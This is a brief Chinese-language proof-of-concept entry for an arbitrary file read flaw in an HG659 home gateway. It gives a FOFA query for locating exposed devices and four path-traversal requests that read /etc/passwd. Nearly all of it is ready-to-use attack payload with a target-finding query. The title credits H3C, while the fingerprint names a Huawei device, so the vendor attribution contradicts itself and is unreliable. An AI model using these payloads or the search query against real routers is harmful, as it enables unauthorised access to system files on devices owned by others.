H3C HG659 lib 任意文件讀取漏洞

漏洞影響

H3C HG659

FOFA

app="HUAWEI-Home-Gateway-HG659"

POC

/lib///....//....//....//....//....//....//....//....//etc//passwd
/js///....//....//....//....//....//....//....//....//etc//passwd
/res///....//....//....//....//....//....//....//....//etc//passwd
/css///....//....//....//....//....//....//....//....//etc//passwd

參考

https://mp.weixin.qq.com/s/SQGnMXYJADEqTZpRE69vHg